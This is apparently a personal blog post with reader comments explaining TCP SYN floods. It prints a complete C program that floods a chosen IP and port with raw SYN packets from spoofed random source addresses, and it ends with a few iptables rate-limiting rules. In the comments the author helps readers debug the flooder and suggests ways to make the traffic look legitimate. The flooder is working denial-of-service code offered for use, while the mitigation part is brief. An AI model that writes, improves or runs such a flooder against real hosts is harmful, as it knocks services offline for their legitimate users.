This article will outline what a SYN flood is, it will give an example of a program that I wrote in C to produce a SYN flood with random source IP address and random source port to a target IP and target port, as well as how a firewall can mitigate a SYN flood attack using IPtables.
What Is A SYN Flood?
A SYN flood is aptly named, within the TCP header there are bit flags to indicate the TCP state in which a TCP session is in. A SYN flag is used to designate a new connection is incoming, and thus a server will reply with a SYN, ACK (two bits in the flags field are set), and thus a connection can be established. A flood, is the sheer magnitude of TCP syn packets sent to a server. After the server receives these packets it will send the reply to the source and port of the SYN packet, and thus creating a large set of outgoing packets itself and put a toll on the server to respond. The server will also sit waiting (for a predetermined amount of time) for the ACK to come back from the initial SYN sender, of course this will never happen because the SYN flood is simply meant to hog the server resources in the form of a denial of service (DOS) attack. When a legitimate user makes a request the server will not respond because it is already consumed by the half-opened connections from the SYN flood.
Crafting these packets in C is actually quite easy. The main piece of the puzzle is using a RAW socket, that allows the programmer to craft the packet in any way he/she sees fit. In this case the raw socket is used to build a TCP packet with the SYN flag set and random source IP/port data. Note, you must be running as root to send these packets.
C SYN Flood Program
The code for the program:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/tcp.h> #define MAX_PACKET_SIZE 4096 /* ugh..so many magic numbers in here */ /* function for header checksums */ unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; // upper layer protocol, TCP iph->check = 0; // Initial IP, changed later in infinite loop iph->saddr = inet_addr("192.168.3.100"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(5678); tcph->seq = random(); tcph->ack_seq = 0; tcph->res2 = 0; tcph->doff = 5; // Make it look like there will be data tcph->syn = 1; tcph->window = htonl(65535); tcph->check = 0; tcph->urg_ptr = 0; } int main(int argc, char *argv[ ]) { char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (struct tcphdr *)((u_int8_t *)iph + (5 * sizeof(u_int32_t))); struct sockaddr_in sin; char new_ip[sizeof "255.255.255.255"]; if(argc != 3){ fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]); exit(-1); } int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } unsigned int floodport = atoi(argv[2]); sin.sin_family = AF_INET; sin.sin_port = htons(floodport); sin.sin_addr.s_addr = inet_addr(argv[1]); // Clear the data memset(datagram, 0, MAX_PACKET_SIZE); // Set appropriate fields in headers setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(floodport); iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); /* a IP_HDRINCL call, to make sure that the kernel knows * the header is included in the data, and doesn't insert * its own header into the packet before our data */ int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } for(;;){ if(sendto(s, /* our socket */ datagram, /* the buffer containing headers and data */ iph->tot_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof(sin)) < 0) /* a normal send() */ fprintf(stderr, "sendto() error!!!.\n"); else fprintf(stdout, "Flooding %s at %u...\n", argv[1], floodport); // Randomize source IP and source port snprintf(new_ip,16,"%lu.%lu.%lu.%lu",random() % 255,random() % 255,random() % 255,random() % 255); iph->saddr = inet_addr(new_ip); tcph->source = htons(random() % 65535); iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); } return 0; } |
As you can see from the above example, the code is quite basic and uses a sendto() at the end to actually send the packet. I added the randomization to look as though the source is another user. In fact you could potentially add a randomized time delay between requests to look more legitimate. Another option is to set other TCP flags with the SYN, such as a SYN-RST, or something along those lines.
The Wireshark output from the destination machine:
As you can see the source IP and source port are randomized. Note the time between each packet is very small, hence the bombing.
Mitigate A SYN Flood With IPtables
The example I have listed above is a very basic form of a SYN flood generation tool. However, it undoubtedly could disrupt connections on older machines or ancient hardware. Luckily this can be avoided or dealt with via IPtables rules in your firewall. For instance:
1 2 3 4 5 6 7 8 | # Permit only two (2) TCP connections to port 23 iptables -A INPUT -p tcp --syn --dport 23 -m connlimit --connlimit-above 2 -j REJECT # or you can use this to setup a chain with a rate limit and a logging mechanism iptables -N syn-flood iptables -A syn-flood -m limit --limit 100/second --limit-burst 150 -j RETURN iptables -A syn-flood -j LOG --log-prefix "SYN flood: " iptables -A syn-flood -j DROP |
The tricky part with mitigating a SYN flood is that you may be running a website where you want port 80 to be open and would rather not place a limit on how many connections can be handled in cases where you expect many user connections.
Another method of protecting TCP service ports on your box is to utilize what is known as port knocking. A fellow Canadian, YEAH, wrote a program called knockd which will only open a port if you use a secret knock. Once the knock is correctly done the TCP port will open and you can continue on your way.
I hope this article was insightful and you now have a better understanding of what a SYN flood is, how it could be programmed, and ways to avoid it.




Loading...
Hi
I ran Your program and I attacked on XP SP2. However, the program could not execute and I received the following error “Could Not Open a Raw Socket” .
I appreciate if you can guide me in this.
Regards
Sam
I am unsure how this will work on a Windows machine. I have only compiled and run this on a Linux machine as root. My C program expertise lies within the Linux/Unix environment. Undoubtedly there are differences within the Windows network stack.
Hi,
I run this program on fedora16, compiled successfully, but when run it and use tcpdump look the packets, it shows the chksum number is wrong , do you have any ideas about this?
tcpdump:
31.142.81.45.9521 > 127.0.0.1.22345: Flags [S], cksum 0×0000 (incorrect -> 0x50fb), seq 1732610923, win 0, length 0
thanks
Yes, because I am not actually setting the TCP header checksum. You will notice at line 47 (tcph->check = 0;). I am always setting the checksum to 0. While on the IP layer, I set the IP header checksum at line 87. If you want the checksum to be valid you must incorporate the checksum calculation prior to send. Checksum calculations incur more processing time which is why I left it out.
Hello,
I run it from my linux server and it does not flood the specified IP with packets.
I get an error when compiling:
ssyn.c:55: warning: initialization from incompatible pointer type
Please help?
What error are you receiving? Are you running this as root?
Hi Erik,
I am compiling my script using the commands below:
# gcc ssyn.c
ssyn.c: In function ‘main’:
ssyn.c:55: warning: initialization from incompatible pointer type
# ./a.out 192.168.1.1 80
Any help? I think its not working because of the error in main on line 55.
A line 55 its just a warning because of the cast, I will update the code to remove the warning.
Is the checksum getting recalculated? I also think this is a big problem.
Good call, I changed that later in the code but was neglectful in updating this. I will update both the cast and the checksum.
Oh and I am running this as root…
Okay, I have updated the tcpheader cast and added the checksum. Give that a whirl. Thanks for keeping me on my toes!